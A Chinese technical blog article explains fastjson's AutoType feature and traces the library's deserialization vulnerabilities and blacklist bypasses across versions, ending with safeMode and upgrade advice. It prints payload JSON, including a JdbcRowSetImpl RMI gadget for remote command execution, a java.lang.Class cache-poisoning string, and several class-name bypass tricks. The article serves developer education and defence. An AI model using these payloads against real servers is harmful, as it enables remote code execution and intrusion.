來源 l Hollis(ID:hollischuang)
fastjson大家一定都不陌生,這是阿里巴巴的開源一個JSON解析庫,通常被用于將Java Bean和JSON 字符串之間進行轉(zhuǎn)換。
前段時間,fastjson被爆出過多次存在漏洞,很多文章報道了這件事兒,并且給出了升級建議。
但是作為一個開發(fā)者,我更關(guān)注的是他為什么會頻繁被爆漏洞?于是我?guī)е苫?,去看了下fastjson的releaseNote以及部分源代碼。
最終發(fā)現(xiàn),這其實和fastjson中的一個AutoType特性有關(guān)。
從2019年7月份發(fā)布的v1.2.59一直到2020年6月份發(fā)布的 v1.2.71 ,每個版本的升級中都有關(guān)于AutoType的升級。
下面是fastjson的官方releaseNotes 中,幾次關(guān)于AutoType的重要升級:
1.2.59發(fā)布,增強AutoType打開時的安全性 fastjson
1.2.60發(fā)布,增加了AutoType黑名單,修復(fù)拒絕服務(wù)安全問題 fastjson
1.2.61發(fā)布,增加AutoType安全黑名單 fastjson
1.2.62發(fā)布,增加AutoType黑名單、增強日期反序列化和JSONPath fastjson
1.2.66發(fā)布,Bug修復(fù)安全加固,并且做安全加固,補充了AutoType黑名單 fastjson
1.2.67發(fā)布,Bug修復(fù)安全加固,補充了AutoType黑名單 fastjson
1.2.68發(fā)布,支持GEOJSON,補充了AutoType黑名單。(引入一個safeMode的配置,配置safeMode后,無論白名單和黑名單,都不支持autoType。 ) fastjson
1.2.69發(fā)布,修復(fù)新發(fā)現(xiàn)高危AutoType開關(guān)繞過安全漏洞,補充了AutoType黑名單 fastjson
1.2.70發(fā)布,提升兼容性,補充了AutoType黑名單
甚至在fastjson的開源庫中,有一個Isuue是建議作者提供不帶autoType的版本:
?
那么,什么是AutoType?為什么fastjson要引入AutoType?為什么AutoType會導(dǎo)致安全漏洞呢?本文就來深入分析一下。
fastjson的主要功能就是將Java Bean序列化成JSON字符串,這樣得到字符串之后就可以通過數(shù)據(jù)庫等方式進行持久化了。
但是,fastjson在序列化以及反序列化的過程中并沒有使用Java自帶的序列化機制,而是自定義了一套機制。
其實,對于JSON框架來說,想要把一個Java對象轉(zhuǎn)換成字符串,可以有兩種選擇:
而我們所常用的JSON序列化框架中,F(xiàn)astJson和jackson在把對象序列化成json字符串的時候,是通過遍歷出該類中的所有g(shù)etter方法進行的。Gson并不是這么做的,他是通過反射遍歷該類中的所有屬性,并把其值序列化成json。
class Store { private String name; private Fruit fruit; public String getName () { return name; } public void setName (String name) { this .name = name; } public Fruit getFruit () { return fruit; } public void setFruit (Fruit fruit) { this .fruit = fruit; } }interface Fruit { }class Apple implements Fruit { private BigDecimal price; //省略 setter/getter、toString等 }
當(dāng)我們要對他進行序列化的時候,fastjson會掃描其中的getter方法,即找到getName和getFruit,這時候就會將name和fruit兩個字段的值序列化到JSON字符串中。
那么問題來了,我們上面的定義的Fruit只是一個接口,序列化的時候fastjson能夠把屬性值正確序列化出來嗎?如果可以的話,那么反序列化的時候,fastjson會把這個fruit反序列化成什么類型呢?
我們嘗試著驗證一下,基于(fastjson v 1.2.68):
Store store = new Store(); store.setName("Hollis" ); Apple apple = new Apple(); apple.setPrice(new BigDecimal(0.5 )); store.setFruit(apple);String jsonString = JSON .toJSONString(store); System.out.println("toJSONString : " + jsonString);
以上代碼比較簡單,我們創(chuàng)建了一個store,為他指定了名稱,并且創(chuàng)建了一個Fruit的子類型Apple,然后將這個store使用
JSON.toJSONString
進行序列化,可以得到以下JSON內(nèi)容:
toJSONString : {"fruit" :{"price" :0.5},"name" :"Hollis" }
那么,這個fruit的類型到底是什么呢,能否反序列化成Apple呢?我們再來執(zhí)行以下代碼:
Store newStore = JSON.parseObject(jsonString, Store.class ); System.out .println("parseObject : " + newStore); Apple newApple = (Apple)newStore.getFruit(); System.out .println("getFruit : " + newApple);
toJSONString : {"fruit" :{"price" :0.5},"name" :"Hollis" } parseObject : Store{name='Hollis' , fruit={}} Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
可以看到,在將store反序列化之后,我們嘗試將Fruit轉(zhuǎn)換成Apple,但是拋出了異常,嘗試直接轉(zhuǎn)換成Fruit則不會報錯,如:
Fruit newFruit = newStore.getFruit(); System.out .println("getFruit : " + newFruit);
以上現(xiàn)象,我們知道,當(dāng)一個類中包含了一個接口(或抽象類)的時候,在使用fastjson進行序列化的時候,會將子類型抹去,只保留接口(抽象類)的類型,使得反序列化時無法拿到原始類型。
那么有什么辦法解決這個問題呢,fastjson引入了AutoType,即在序列化的時候,把原始類型記錄下來。
使用方法是通過
SerializerFeature.WriteClassName
進行標記,即將上述代碼中的
String jsonString = JSON .toJSONString(store);
String jsonString = JSON .toJSONString(store,SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString); { "@type" :"com.hollis.lab.fastjson.test.Store" , "fruit" :{ "@type" :"com.hollis.lab.fastjson.test.Apple" , "price" :0 .5 }, "name" :"Hollis" }
可以看到,使用 SerializerFeature.WriteClassName
進行標記后,JSON字符串中多出了一個@type
字段,標注了類對應(yīng)的原始類型,方便在反序列化的時候定位到具體類型
如上,將序列化后的字符串在反序列化,既可以順利的拿到一個Apple類型,整體輸出內(nèi)容:
toJSONString : {"@type" :"com.hollis.lab.fastjson.test.Store" ,"fruit" :{"@type" :"com.hollis.lab.fastjson.test.Apple" ,"price" :0 .5 },"name" :"Hollis" } parseObject : Store{name='Hollis' , fruit=Apple{price=0 .5 }} getFruit : Apple{price=0 .5 }
這就是AutoType,以及fastjson中引入AutoType的原因。
但是,也正是這個特性,因為在功能設(shè)計之初在安全方面考慮的不夠周全,也給后續(xù)fastjson使用者帶來了無盡的痛苦
因為有了autoType功能,那么fastjson在對JSON字符串進行反序列化的時候,就會讀取
@type
到內(nèi)容,試圖把JSON內(nèi)容反序列化成這個對象,并且會調(diào)用這個類的setter方法。
那么就可以利用這個特性,自己構(gòu)造一個JSON字符串,并且使用
@type
指定一個自己想要使用的攻擊類庫。
舉個例子,黑客比較常用的攻擊類庫是
com.sun.rowset.JdbcRowSetImpl
,這是sun官方提供的一個類庫,這個類的dataSourceName支持傳入一個rmi的源,當(dāng)解析這個uri的時候,就會支持rmi遠程調(diào)用,去指定的rmi地址中去調(diào)用方法。
而fastjson在反序列化時會調(diào)用目標類的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中設(shè)置了一個想要執(zhí)行的命令,那么就會導(dǎo)致很嚴重的后果。
如通過以下方式定一個JSON串,即可實現(xiàn)遠程命令執(zhí)行(在早期版本中,新版本中JdbcRowSetImpl已經(jīng)被加了黑名單)
{"@type" :"com.sun.rowset.JdbcRowSetImpl" ,"dataSourceName" :"rmi://localhost:1099/Exploit" ,"autoCommit" :true }
這就是所謂的遠程命令執(zhí)行漏洞,即利用漏洞入侵到目標服務(wù)器,通過服務(wù)器執(zhí)行命令。
在早期的fastjson版本中(v1.2.25 之前),因為AutoType是默認開啟的,并且也沒有什么限制,可以說是裸著的。
從v1.2.25開始,fastjson默認關(guān)閉了autotype支持,并且加入了checkAutotype,加入了黑名單+白名單來防御autotype開啟的情況。
但是,也是從這個時候開始,黑客和fastjson作者之間的博弈就開始了。
因為fastjson默認關(guān)閉了autotype支持,并且做了黑白名單的校驗,所以攻擊方向就轉(zhuǎn)變成了"如何繞過checkAutotype"。
下面就來細數(shù)一下各個版本的fastjson中存在的漏洞以及攻擊原理,由于篇幅限制,這里并不會講解的特別細節(jié),如果大家感興趣我后面可以單獨寫一篇文章講講細節(jié) 。下面的內(nèi)容主要是提供一些思路,目的是說明寫代碼的時候注意安全性的重要性。
繞過checkAutotype,黑客與fastjson的博弈
在fastjson v1.2.41 之前,在checkAutotype的代碼中,會先進行黑白名單的過濾,如果要反序列化的類不在黑白名單中,那么才會對目標類進行反序列化。
但是在加載的過程中,fastjson有一段特殊的處理,那就是在具體加載類的時候會去掉className前后的
L
和
;
,形如
Lcom.lang.Thread;
。
?
而黑白名單又是通過startWith檢測的,那么黑客只要在自己想要使用的攻擊類庫前后加上
L
和
;
就可以繞過黑白名單的檢查了,也不耽誤被fastjson正常加載。
如
Lcom.sun.rowset.JdbcRowSetImpl;
,會先通過白名單校驗,然后fastjson在加載類的時候會去掉前后的
L
和
,
變成了
com.sun.rowset.JdbcRowSetImpl
。
為了避免被攻擊,在之后的 v1.2.42版本中,在進行黑白名單檢測的時候,fastjson先判斷目標類的類名的前后是不是
L
和
;
,如果是的話,就截取掉前后的
L
和
;
再進行黑白名單的校驗。
看似解決了問題,但是黑客發(fā)現(xiàn)了這個規(guī)則之后,就在攻擊時在目標類前后雙寫
LL
和
;;
,這樣再被截取之后還是可以繞過檢測。如
LLcom.sun.rowset.JdbcRowSetImpl;;
魔高一尺,道高一丈。在 v1.2.43中,fastjson這次在黑白名單判斷之前,增加了一個是否以
LL
未開頭的判斷,如果目標類以
LL
開頭,那么就直接拋異常,于是就又短暫的修復(fù)了這個漏洞。
黑客在
L
和
;
這里走不通了,于是想辦法從其他地方下手,因為fastjson在加載類的時候,不只對
L
和
;
這樣的類進行特殊處理,還對
[
也被特殊處理了。
同樣的攻擊手段,在目標類前面添加
[
,v1.2.43以前的所有版本又淪陷了。
于是,在 v1.2.44版本中,fastjson的作者做了更加嚴格的要求,只要目標類以
[
開頭或者以
;
結(jié)尾,都直接拋異常。也就解決了 v1.2.43及歷史版本中發(fā)現(xiàn)的bug。
在之后的幾個版本中,黑客的主要的攻擊方式就是繞過黑名單了,而fastjson也在不斷的完善自己的黑名單。
autoType不開啟也能被攻擊?
但是好景不長,在升級到 v1.2.47 版本時,黑客再次找到了辦法來攻擊。而且這個攻擊只有在autoType關(guān)閉的時候才生效。
是不是很奇怪,autoType不開啟反而會被攻擊。
因為在fastjson中有一個全局緩存,在類加載的時候,如果autotype沒開啟,會先嘗試從緩存中獲取類,如果緩存中有,則直接返回。 黑客正是利用這里機制進行了攻擊。
黑客先想辦法把一個類加到緩存中,然后再次執(zhí)行的時候就可以繞過黑白名單檢測了,多么聰明的手段。
首先想要把一個黑名單中的類加到緩存中,需要使用一個不在黑名單中的類,這個類就是
java.lang.Class
java.lang.Class
類對應(yīng)的deserializer為MiscCodec,反序列化時會取json串中的val值并加載這個val對應(yīng)的類。
如果fastjson cache為true,就會緩存這個val對應(yīng)的class到全局緩存中
如果再次加載val名稱的類,并且autotype沒開啟,下一步就是會嘗試從全局緩存中獲取這個class,進而進行攻擊。
所以,黑客只需要把攻擊類偽裝一下就行了,如下格式:
{"@type" : "java.lang.Class" ,"val" : "com.sun.rowset.JdbcRowSetImpl" }
于是在 v1.2.48中,fastjson修復(fù)了這個bug,在MiscCodec中,處理Class類的地方,設(shè)置了fastjson cache為false,這樣攻擊類就不會被緩存了,也就不會被獲取到了。
在之后的多個版本中,黑客與fastjson又繼續(xù)一直都在繞過黑名單、添加黑名單中進行周旋。
直到后來,黑客在 v1.2.68之前的版本中又發(fā)現(xiàn)了一個新的漏洞利用方式。
利用異常進行攻擊
在fastjson中, 如果,@type 指定的類為 Throwable 的子類,那對應(yīng)的反序列化處理類就會使用到 ThrowableDeserializer
而在ThrowableDeserializer#deserialze的方法中,當(dāng)有一個字段的key也是 @type時,就會把這個 value 當(dāng)做類名,然后進行一次 checkAutoType 檢測。
并且指定了expectClass為Throwable.class,但是在checkAutoType中,有這樣一約定,那就是如果指定了expectClass ,那么也會通過校驗。
?
因為fastjson在反序列化的時候會嘗試執(zhí)行里面的getter方法,而Exception類中都有一個getMessage方法。
黑客只需要自定義一個異常,并且重寫其getMessage就達到了攻擊的目的。
這個漏洞就是6月份全網(wǎng)瘋傳的那個"嚴重漏洞",使得很多開發(fā)者不得不升級到新版本。
這個漏洞在 v1.2.69中被修復(fù),主要修復(fù)方式是對于需要過濾掉的expectClass進行了修改,新增了4個新的類,并且將原來的Class類型的判斷修改為hash的判斷。
其實,根據(jù)fastjson的官方文檔介紹,即使不升級到新版,在v1.2.68中也可以規(guī)避掉這個問題,那就是使用safeMode
可以看到,這些漏洞的利用幾乎都是圍繞AutoType來的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,無論白名單和黑名單,都不支持autoType,可一定程度上緩解反序列化Gadgets類變種攻擊。
設(shè)置了safeMode后,@type 字段不再生效,即當(dāng)解析形如{"@type": "com.java.class"}的JSON串時,將不再反序列化出對應(yīng)的類。
ParserConfig .getGlobalInstance ().setSafeMode (true );
如在本文的最開始的代碼示例中,使用以上代碼開啟safeMode模式,執(zhí)行代碼,會得到以下異常:
Exception in thread "main " com .alibaba.fastjson.JSONException : safeMode not support autoType : com .hollis.lab.fastjson.test.Apple at com .alibaba.fastjson.parser.ParserConfig.checkAutoType (ParserConfig .java :1244)
但是值得注意的是,使用這個功能,fastjson會直接禁用autoType功能,即在checkAutoType方法中,直接拋出一個異常。
目前fastjson已經(jīng)發(fā)布到了 v1.2.72版本,歷史版本中存在的已知問題在新版本中均已修復(fù)。
開發(fā)者可以將自己項目中使用的fastjson升級到最新版,并且如果代碼中不需要用到AutoType的話,可以考慮使用safeMode,但是要評估下對歷史代碼的影響。
因為fastjson自己定義了序列化工具類,并且使用asm技術(shù)避免反射、使用緩存、并且做了很多算法優(yōu)化等方式,大大提升了序列化及反序列化的效率。
當(dāng)然,快的同時也帶來了一些安全性問題,這是不可否認的。
最后,其實我還想說幾句,雖然fastjson是阿里巴巴開源出來的,但是據(jù)我所知,這個項目大部分時間都是其作者溫少一個人在靠業(yè)余時間維護的。
知乎上有網(wǎng)友說:"溫少幾乎憑一己之力撐起了一個被廣泛使用JSON庫,而其他庫幾乎都是靠一整個團隊,就憑這一點,溫少作為“初心不改的阿里初代開源人”,當(dāng)之無愧。 "
其實,關(guān)于fastjson漏洞的問題,阿里內(nèi)部也有很多人詬病過,但是詬病之后大家更多的是給予理解 和包容 。
fastjson目前是國產(chǎn)類庫中比較出名的一個,可以說是倍受關(guān)注,所以漸漸成了安全研究的重點,所以會有一些深度的漏洞被發(fā)現(xiàn)。就像溫少自己說的那樣:
"和發(fā)現(xiàn)漏洞相比,更糟糕的是有漏洞不知道被人利用。及時發(fā)現(xiàn)漏洞并升級版本修復(fù)是安全能力的一個體現(xiàn)。"
就在我寫這篇文章的時候,在釘釘上問了溫少一個問題,他竟然秒回,這令我很驚訝。因為那天是周末,周末釘釘可以做到秒回,這說明了什么?
他大概率是在利用自己的業(yè)余維護fastjson吧…
最后,知道了fastjson歷史上很多漏洞產(chǎn)生的原因之后,其實對我自己來說,我是"更加敢用"fastjson了…
參考資料:
https://github.com/alibaba/fastjson/releases
https://github.com/alibaba/fastjson/wiki/security_update_20200601
https://paper.seebug.org/1192/
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://www.lmxspace.com/2019/06/29/FastJson-反序列化學(xué)習(xí)
喜歡本文的朋友們,歡迎長按下圖關(guān)注公眾號 程序員小灰 ,收看更多精彩內(nèi)容